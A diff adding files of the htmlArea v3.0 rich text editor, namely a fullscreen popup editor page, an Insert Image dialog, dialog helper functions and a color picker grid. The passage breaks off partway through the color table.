+ config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor', 'update_parent(); window.close();', 'fullscreen_minimize.gif'];\r\r
+\r\r
+ // set htmlmode button to refer to THIS editor\r\r
+ config.btnList["htmlmode"] = ['HtmlMode', 'View HTML Source', 'editor_setmode(\'editor\')', 'ed_html.gif'];\r\r
+\r\r
+ // change image url to be relative to current path\r\r
+ config.imgURL = "../images/";\r\r
+ \r\r
+ // generate editor and resize it\r\r
+ editor_generate('editor', config);\r\r
+ resize_editor();\r\r
+\r\r
+ // switch mode if needed\r\r
+ if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }\r\r
+\r\r
+ // set child window contents\r\r
+ var parentHTML = opener.editor_getHTML(parent_objname);\r\r
+ editor_setHTML(objname, parentHTML);\r\r
+\r\r
+ // continuously update parent editor window\r\r
+ window.setInterval(update_parent, 333);\r\r
+\r\r
+ // setup event handlers\r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ window.onresize = resize_editor;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : update_parent\r\r
+ Description : update parent window editor field with contents from child window\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+ var childHTML = editor_getHTML(objname);\r\r
+ opener.editor_setHTML(parent_objname, childHTML);\r\r
+}\r\r
+\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body scroll="no" onload="init()" onunload="update_parent()">\r\r
+\r\r
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>\r\r
+\r\r
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>\r\r
+\r\r
+</body></html>
\ No newline at end of file
--- /dev/null
+<!-- based on insimage.dlg -->\r\r
+\r\r
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">\r\r
+<HTML id=dlgImage STYLE="width: 432px; height: 194px; ">\r\r
+<HEAD>\r\r
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\r\r
+<meta http-equiv="MSThemeCompatible" content="Yes">\r\r
+<TITLE>Insert Image</TITLE>\r\r
+<style>\r\r
+ html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };\r\r
+</style>\r\r
+<SCRIPT defer>\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+ if (event.keyCode == 27) { window.close(); return; }\r\r
+}\r\r
+\r\r
+function _getTextRange(elm) {\r\r
+ var r = elm.parentTextEdit.createTextRange();\r\r
+ r.moveToElementText(elm);\r\r
+ return r;\r\r
+}\r\r
+\r\r
+window.onerror = HandleError\r\r
+\r\r
+function HandleError(message, url, line) {\r\r
+ var str = "An error has occurred in this dialog." + "\n\n"\r\r
+ + "Error: " + line + "\n" + message;\r\r
+ alert(str);\r\r
+ window.close();\r\r
+ return true;\r\r
+}\r\r
+\r\r
+function Init() {\r\r
+ var elmSelectedImage;\r\r
+ var htmlSelectionControl = "Control";\r\r
+ var globalDoc = window.dialogArguments;\r\r
+ var grngMaster = globalDoc.selection.createRange();\r\r
+ \r\r
+ // event handlers \r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ btnOK.onclick = new Function("btnOKClick()");\r\r
+\r\r
+ txtFileName.fImageLoaded = false;\r\r
+ txtFileName.intImageWidth = 0;\r\r
+ txtFileName.intImageHeight = 0;\r\r
+\r\r
+ if (globalDoc.selection.type == htmlSelectionControl) {\r\r
+ if (grngMaster.length == 1) {\r\r
+ elmSelectedImage = grngMaster.item(0);\r\r
+ if (elmSelectedImage.tagName == "IMG") {\r\r
+ txtFileName.fImageLoaded = true;\r\r
+ if (elmSelectedImage.src) {\r\r
+ txtFileName.value = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1"); // fix placeholder src values that editor converted to abs paths\r\r
+ txtFileName.intImageHeight = elmSelectedImage.height;\r\r
+ txtFileName.intImageWidth = elmSelectedImage.width;\r\r
+ txtVertical.value = elmSelectedImage.vspace;\r\r
+ txtHorizontal.value = elmSelectedImage.hspace;\r\r
+ txtBorder.value = elmSelectedImage.border;\r\r
+ txtAltText.value = elmSelectedImage.alt;\r\r
+ selAlignment.value = elmSelectedImage.align;\r\r
+ }\r\r
+ }\r\r
+ }\r\r
+ }\r\r
+ txtFileName.value = txtFileName.value || "http://";\r\r
+ txtFileName.focus();\r\r
+}\r\r
+\r\r
+function _isValidNumber(txtBox) {\r\r
+ var val = parseInt(txtBox);\r\r
+ if (isNaN(val) || val < 0 || val > 999) { return false; }\r\r
+ return true;\r\r
+}\r\r
+\r\r
+function btnOKClick() {\r\r
+ var elmImage;\r\r
+ var intAlignment;\r\r
+ var htmlSelectionControl = "Control";\r\r
+ var globalDoc = window.dialogArguments;\r\r
+ var grngMaster = globalDoc.selection.createRange();\r\r
+ \r\r
+ // error checking\r\r
+\r\r
+ if (!txtFileName.value || txtFileName.value == "http://") { \r\r
+ alert("Image URL must be specified.");\r\r
+ txtFileName.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {\r\r
+ alert("Horizontal spacing must be a number between 0 and 999.");\r\r
+ txtHorizontal.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtBorder.value && !_isValidNumber(txtBorder.value)) {\r\r
+ alert("Border thickness must be a number between 0 and 999.");\r\r
+ txtBorder.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtVertical.value && !_isValidNumber(txtVertical.value)) {\r\r
+ alert("Vertical spacing must be a number between 0 and 999.");\r\r
+ txtVertical.focus();\r\r
+ return;\r\r
+ }\r\r
+\r\r
+ // delete selected content and replace with image\r\r
+ if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {\r\r
+ grngMaster.execCommand('Delete');\r\r
+ grngMaster = globalDoc.selection.createRange();\r\r
+ }\r\r
+ \r\r
+ idstr = "\" id=\"556e697175657e537472696e67"; // new image creation ID\r\r
+ if (!txtFileName.fImageLoaded) {\r\r
+ grngMaster.execCommand("InsertImage", false, idstr);\r\r
+ elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+ elmImage.removeAttribute("id");\r\r
+ elmImage.removeAttribute("src");\r\r
+ grngMaster.moveStart("character", -1);\r\r
+ } else {\r\r
+ elmImage = grngMaster.item(0);\r\r
+ if (elmImage.src != txtFileName.value) {\r\r
+ grngMaster.execCommand('Delete');\r\r
+ grngMaster = globalDoc.selection.createRange();\r\r
+ grngMaster.execCommand("InsertImage", false, idstr);\r\r
+ elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+ elmImage.removeAttribute("id");\r\r
+ elmImage.removeAttribute("src");\r\r
+ grngMaster.moveStart("character", -1);\r\r
+ txtFileName.fImageLoaded = false;\r\r
+ }\r\r
+ grngMaster = _getTextRange(elmImage);\r\r
+ }\r\r
+\r\r
+ if (txtFileName.fImageLoaded) {\r\r
+ elmImage.style.width = txtFileName.intImageWidth;\r\r
+ elmImage.style.height = txtFileName.intImageHeight;\r\r
+ }\r\r
+\r\r
+ if (txtFileName.value.length > 2040) {\r\r
+ txtFileName.value = txtFileName.value.substring(0,2040);\r\r
+ }\r\r
+ \r\r
+ elmImage.src = txtFileName.value;\r\r
+ \r\r
+ if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }\r\r
+ else { elmImage.hspace = 0; }\r\r
+\r\r
+ if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }\r\r
+ else { elmImage.vspace = 0; }\r\r
+ \r\r
+ elmImage.alt = txtAltText.value;\r\r
+\r\r
+ if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }\r\r
+ else { elmImage.border = 0; }\r\r
+\r\r
+ elmImage.align = selAlignment.value;\r\r
+ grngMaster.collapse(false);\r\r
+ grngMaster.select();\r\r
+ window.close();\r\r
+}\r\r
+</SCRIPT>\r\r
+</HEAD>\r\r
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>\r\r
+\r\r
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>\r\r
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">\r\r
+\r\r
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>\r\r
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">\r\r
+\r\r
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">\r\r
+<LEGEND id=lgdLayout>Layout</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">\r\r
+<LEGEND id=lgdSpacing>Spacing</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>\r\r
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">\r\r
+<OPTION id=optNotSet value=""> Not set </OPTION>\r\r
+<OPTION id=optLeft value=left> Left </OPTION>\r\r
+<OPTION id=optRight value=right> Right </OPTION>\r\r
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>\r\r
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>\r\r
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>\r\r
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>\r\r
+<OPTION id=optBottom value=bottom> Bottom </OPTION>\r\r
+<OPTION id=optMiddle value=middle> Middle </OPTION>\r\r
+<OPTION id=optTop value=top> Top </OPTION>\r\r
+</SELECT>\r\r
+\r\r
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>\r\r
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">\r\r
+\r\r
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>\r\r
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">\r\r
+\r\r
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>\r\r
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">\r\r
+\r\r
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>\r\r
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>\r\r
+\r\r
+</BODY>\r\r
+</HTML>
\ No newline at end of file
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function comboSelectValue(c, val) {
+ var ops = c.getElementsByTagName("option");
+ for (var i = ops.length; --i >= 0;) {
+ var op = ops[i];
+ op.selected = (op.value == val);
+ }
+ c.value = val;
+};
+
+function __dlg_onclose() {
+ opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+ var body = document.body;
+ var body_height = 0;
+ if (typeof bottom == "undefined") {
+ var div = document.createElement("div");
+ body.appendChild(div);
+ var pos = getAbsolutePos(div);
+ body_height = pos.y;
+ } else {
+ var pos = getAbsolutePos(bottom);
+ body_height = pos.y + bottom.offsetHeight;
+ }
+ window.dialogArguments = opener.Dialog._arguments;
+ if (!document.all) {
+ window.sizeToContent();
+ window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+ var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ window.innerWidth = body.offsetWidth + 5;
+ window.innerHeight = body_height + 2;
+ } else {
+ // window.dialogHeight = body.offsetHeight + 50 + "px";
+ // window.dialogWidth = body.offsetWidth + "px";
+ window.resizeTo(body.offsetWidth, body_height);
+ var ch = body.clientHeight + 100;
+ var cw = body.clientWidth;
+ window.resizeBy(body.offsetWidth - cw, body_height - ch);
+ var W = body.offsetWidth;
+ var H = 2 * body_height - ch;
+ var x = (screen.availWidth - W) / 2;
+ var y = (screen.availHeight - H) / 2;
+ window.moveTo(x, y);
+ }
+ document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+ var types = ["span", "option", "td", "button", "div"];
+ for (var type in types) {
+ var spans = document.getElementsByTagName(types[type]);
+ for (var i = spans.length; --i >= 0;) {
+ var span = spans[i];
+ if (span.firstChild && span.firstChild.data) {
+ var txt = i18n[span.firstChild.data];
+ if (txt)
+ span.firstChild.data = txt;
+ }
+ }
+ }
+ var txt = i18n[document.title];
+ if (txt)
+ document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ opener.Dialog._return(val);
+ window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+ ev || (ev = window.event);
+ if (ev.keyCode == 27) {
+ window.close();
+ return false;
+ }
+ return true;
+};
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html style="width: 400px; height: 400px;"><head><!-- note: this version of the color picker is optimized for IE 5.5+ only --><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+ window.resizeTo(350, 300);
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script></head>
+
+<body style="margin: 0px; padding: 0px; background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" onload="Init()">
+
+<form method="get" style="margin: 0px; padding: 0px;" onsubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0" cellpadding="4" cellspacing="0" width="100%">
+ <tbody><tr>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><div style="padding: 1px; background-color: rgb(0, 0, 0); height: 21px; width: 50px;"><div id="ColorPreview" style="height: 100%; width: 100%;"></div></div><br>
+</td>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><input name="ColorHex" id="ColorHex" value="" size="15" style="font-size: 12px;" type="text"></td>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" ><br>
+</td>
+ </tr>
+</tbody></table>
+</form>
+
+<table style="width: 90%; background-color: rgb(0, 0, 0);" border="0" cellpadding="0" cellspacing="1">
+<tbody><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('003300')" onclick="Set('003300')" bgcolor="#003300" height="15" width="15"></td>
+<td onmouseover="View('006600')" onclick="Set('006600')" bgcolor="#006600" height="15" width="15"></td>
+<td onmouseover="View('009900')" onclick="Set('009900')" bgcolor="#009900" height="15" width="15"></td>
+<td onmouseover="View('00CC00')" onclick="Set('00CC00')" bgcolor="#00cc00" height="15" width="15"></td>
+<td onmouseover="View('00FF00')" onclick="Set('00FF00')" bgcolor="#00ff00" height="15" width="15"></td>
+<td onmouseover="View('330000')" onclick="Set('330000')" bgcolor="#330000" height="15" width="15"></td>
+<td onmouseover="View('333300')" onclick="Set('333300')" bgcolor="#333300" height="15" width="15"></td>
+<td onmouseover="View('336600')" onclick="Set('336600')" bgcolor="#336600" height="15" width="15"></td>
+<td onmouseover="View('339900')" onclick="Set('339900')" bgcolor="#339900" height="15" width="15"></td>
+<td onmouseover="View('33CC00')" onclick="Set('33CC00')" bgcolor="#33cc00" height="15" width="15"></td>
+<td onmouseover="View('33FF00')" onclick="Set('33FF00')" bgcolor="#33ff00" height="15" width="15"></td>
+<td onmouseover="View('660000')" onclick="Set('660000')" bgcolor="#660000" height="15" width="15"></td>
+<td onmouseover="View('663300')" onclick="Set('663300')" bgcolor="#663300" height="15" width="15"></td>
+<td onmouseover="View('666600')" onclick="Set('666600')" bgcolor="#666600" height="15" width="15"></td>
+<td onmouseover="View('669900')" onclick="Set('669900')" bgcolor="#669900" height="15" width="15"></td>
+<td onmouseover="View('66CC00')" onclick="Set('66CC00')" bgcolor="#66cc00" height="15" width="15"></td>
+<td onmouseover="View('66FF00')" onclick="Set('66FF00')" bgcolor="#66ff00" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000033')" onclick="Set('000033')" bgcolor="#000033" height="15" width="15"></td>
+<td onmouseover="View('003333')" onclick="Set('003333')" bgcolor="#003333" height="15" width="15"></td>
+<td onmouseover="View('006633')" onclick="Set('006633')" bgcolor="#006633" height="15" width="15"></td>
+<td onmouseover="View('009933')" onclick="Set('009933')" bgcolor="#009933" height="15" width="15"></td>
+<td onmouseover="View('00CC33')" onclick="Set('00CC33')" bgcolor="#00cc33" height="15" width="15"></td>
+<td onmouseover="View('00FF33')" onclick="Set('00FF33')" bgcolor="#00ff33" height="15" width="15"></td>
+<td onmouseover="View('330033')" onclick="Set('330033')" bgcolor="#330033" height="15" width="15"></td>
+<td onmouseover="View('333333')" onclick="Set('333333')" bgcolor="#333333" height="15" width="15"></td>
+<td onmouseover="View('336633')" onclick="Set('336633')" bgcolor="#336633" height="15" width="15"></td>
+<td onmouseover="View('339933')" onclick="Set('339933')" bgcolor="#339933" height="15" width="15"></td>
+<td onmouseover="View('33CC33')" onclick="Set('33CC33')" bgcolor="#33cc33" height="15" width="15"></td>
+<td onmouseover="View('33FF33')" onclick="Set('33FF33')" bgcolor="#33ff33" height="15" width="15"></td>
+<td onmouseover="View('660033')" onclick="Set('660033')" bgcolor="#660033" height="15" width="15"></td>
+<td onmouseover="View('663333')" onclick="Set('663333')" bgcolor="#663333" height="15" width="15"></td>
+<td onmouseover="View('666633')" onclick="Set('666633')" bgcolor="#666633" height="15" width="15"></td>
+<td onmouseover="View('669933')" onclick="Set('669933')" bgcolor="#669933" height="15" width="15"></td>
+<td onmouseover="View('66CC33')" onclick="Set('66CC33')" bgcolor="#66cc33" height="15" width="15"></td>
+<td onmouseover="View('66FF33')" onclick="Set('66FF33')" bgcolor="#66ff33" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000066')" onclick="Set('000066')" bgcolor="#000066" height="15" width="15"></td>
+<td onmouseover="View('003366')" onclick="Set('003366')" bgcolor="#003366" height="15" width="15"></td>
+<td onmouseover="View('006666')" onclick="Set('006666')" bgcolor="#006666" height="15" width="15"></td>
+<td onmouseover="View('009966')" onclick="Set('009966')" bgcolor="#009966" height="15" width="15"></td>
+<td onmouseover="View('00CC66')" onclick="Set('00CC66')" bgcolor="#00cc66" height="15" width="15"></td>
+<td onmouseover="View('00FF66')" onclick="Set('00FF66')" bgcolor="#00ff66" height="15" width="15"></td>
+<td onmouseover="View('330066')" onclick="Set('330066')" bgcolor="#330066" height="15" width="15"></td>
+<td onmouseover="View('333366')" onclick="Set('333366')" bgcolor="#333366" height="15" width="15"></td>
+<td onmouseover="View('336666')" onclick="Set('336666')" bgcolor="#336666" height="15" width="15"></td>
+<td onmouseover="View('339966')" onclick="Set('339966')" bgcolor="#339966" height="15" width="15"></td>
+<td onmouseover="View('33CC66')" onclick="Set('33CC66')" bgcolor="#33cc66" height="15" width="15"></td>
+<td onmouseover="View('33FF66')" onclick="Set('33FF66')" bgcolor="#33ff66" height="15" width="15"></td>
+<td onmouseover="View('660066')" onclick="Set('660066')" bgcolor="#660066" height="15" width="15"></td>
+<td onmouseover="View('663366')" onclick="Set('663366')" bgcolor="#663366" height="15" width="15"></td>
+<td onmouseover="View('666666')" onclick="Set('666666')" bgcolor="#666666" height="15" width="15"></td>
+<td onmouseover="View('669966')" onclick="Set('669966')" bgcolor="#669966" height="15" width="15"></td>
+<td onmouseover="View('66CC66')" onclick="Set('66CC66')" bgcolor="#66cc66" height="15" width="15"></td>
+<td onmouseover="View('66FF66')" onclick="Set('66FF66')" bgcolor="#66ff66" height="15" width="15"></td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000099')" onclick="Set('000099')" bgcolor="#000099" height="15" width="15"></td>
+<td onmouseover="View('003399')" onclick="Set('003399')" bgcolor="#003399" height="15" width="15"></td>
+<td onmouseover="View('006699')" onclick="Set('006699')" bgcolor="#006699" height="15" width="15"></td>
+<td onmouseover="View('009999')" onclick="Set('009999')" bgcolor="#009999" height="15" width="15"></td>
+<td onmouseover="View('00CC99')" onclick="Set('00CC99')" bgcolor="#00cc99" height="15" width="15"></td>
+<td onmouseover="View('00FF99')" onclick="Set('00FF99')" bgcolor="#00ff99" height="15" width="15"></td>
+<td onmouseover="View('330099')" onclick="Set('330099')" bgcolor="#330099" height="15" width="15"></td>
+<td onmouseover="View('333399')" onclick="Set('333399')" bgcolor="#333399" height="15" width="15"></td>
+<td onmouseover="View('336699')" onclick="Set('336699')" bgcolor="#336699" height="15" width="15"></td>
+<td onmouseover="View('339999')" onclick="Set('339999')" bgcolor="#339999" height="15" width="15"></td>
+<td onmouseover="View('33CC99')" onclick="Set('33CC99')" bgcolor="#33cc99" height="15" width="15"></td>
+<td onmouseover="View('33FF99')" onclick="Set('33FF99')" bgcolor="#33ff99" height="15" width="15"></td>
+<td onmouseover="View('660099')" onclick="Set('660099')" bgcolor="#660099" height="15" width="15"></td>
+<td onmouseover="View('663399')" onclick="Set('663399')" bgcolor="#663399" height="15" width="15"></td>
+<td onmouseover="View('666699')" onclick="Set('666699')" bgcolor="#666699" height="15" width="15"></td>
+<td onmouseover="View('669999')" onclick="Set('669999')" bgcolor="#669999" height="15" width="15"></td>
+<td onmouseover="View('66CC99')" onclick="Set('66CC99')" bgcolor="#66cc99" height="15" width="15"></td>
+<td onmouseover="View('66FF99')" onclick="Set('66FF99')" bgcolor="#66ff99" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('0000CC')" onclick="Set('0000CC')" bgcolor="#0000cc" height="15" width="15"></td>
+<td onmouseover="View('0033CC')" onclick="Set('0033CC')" bgcolor="#0033cc" height="15" width="15"></td>
+<td onmouseover="View('0066CC')" onclick="Set('0066CC')" bgcolor="#0066cc" height="15" width="15"></td>
+<td onmouseover="View('0099CC')" onclick="Set('0099CC')" bgcolor="#0099cc" height="15" width="15"></td>
+<td onmouseover="View('00CCCC')" onclick="Set('00CCCC')" bgcolor="#00cccc" height="15" width="15"></td>
+<td onmouseover="View('00FFCC')" onclick="Set('00FFCC')" bgcolor="#00ffcc" height="15" width="15"></td>
+<td onmouseover="View('3300CC')" onclick="Set('3300CC')" bgcolor="#3300cc" height="15" width="15"></td>
+<td onmouseover="View('3333CC')" onclick="Set('3333CC')" bgcolor="#3333cc" height="15" width="15"></td>
+<td onmouseover="View('3366CC')" onclick="Set('3366CC')" bgcolor="#3366cc" height="15" width="15"></td>
+<td onmouseover="View('3399CC')" onclick="Set('3399CC')" bgcolor="#3399cc" height="15" width="15"></td>
+<td onmouseover="View('33CCCC')" onclick="Set('33CCCC')" bgcolor="#33cccc" height="15" width="15"></td>
+<td onmouseover="View('33FFCC')" onclick="Set('33FFCC')" bgcolor="#33ffcc" height="15" width="15"></td>
+<td onmouseover="View('6600CC')" onclick="Set('6600CC')" bgcolor="#6600cc" height="15" width="15"></td>
+<td onmouseover="View('6633CC')" onclick="Set('6633CC')" bgcolor="#6633cc" height="15" width="15"></td>
+<td onmouseover="View('6666CC')" onclick="Set('6666CC')" bgcolor="#6666cc" height="15" width="15"></td>
+<td onmouseover="View('6699CC')" onclick="Set('6699CC')" bgcolor="#6699cc" height="15" width="15"></td>
+<td onmouseover="View('66CCCC')" onclick="Set('66CCCC')" bgcolor="#66cccc" height="15" width="15"></td>
+<td onmouseover="View('66FFCC')" onclick="Set('66FFCC')" bgcolor="#66ffcc" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('0000FF')" onclick="Set('0000FF')" bgcolor="#0000ff" height="15" width="15"></td>
+<td onmouseover="View('0033FF')" onclick="Set('0033FF')" bgcolor="#0033ff" height="15" width="15"></td>
+<td onmouseover="View('0066FF')" onclick="Set('0066FF')" bgcolor="#0066ff" height="15" width="15"></td>
+<td onmouseover="View('0099FF')" onclick="Set('0099FF')" bgcolor="#0099ff" height="15" width="15"></td>
+<td onmouseover="View('00CCFF')" onclick="Set('00CCFF')" bgcolor="#00ccff" height="15" width="15"></td>
+<td onmouseover="View('00FFFF')" onclick="Set('00FFFF')" bgcolor="#00ffff" height="15" width="15"></td>
+<td onmouseover="View('3300FF')" onclick="Set('3300FF')" bgcolor="#3300ff" height="15" width="15"></td>
+<td onmouseover="View('3333FF')" onclick="Set('3333FF')" bgcolor="#3333ff" height="15" width="15"></td>
+<td onmouseover="View('3366FF')" onclick="Set('3366FF')" bgcolor="#3366ff" height="15" width="15"></td>
+<td onmouseover="View('3399FF')" onclick="Set('3399FF')" bgcolor="#3399ff" height="15" width="15"></td>
+<td onmouseover="View('33CCFF')" onclick="Set('33CCFF')" bgcolor="#33ccff" height="15" width="15"></td>
+<td onmouseover="View('33FFFF')" onclick="Set('33FFFF')" bgcolor="#33ffff" height="15" width="15"></td>
+<td onmouseover="View('6600FF')" onclick="Set('6600FF')" bgcolor="#6600ff" height="15" width="15"></td>
+<td onmouseover="View('6633FF')" onclick="Set('6633FF')" bgcolor="#6633ff" height="15" width="15"></td>
+<td onmouseover="View('6666FF')" onclick="Set('6666FF')" bgcolor="#6666ff" height="15" width="15"></td>
+<td onmouseover="View('6699FF')" onclick="Set('6699FF')" bgcolor="#6699ff" height="15" width="15"></td>
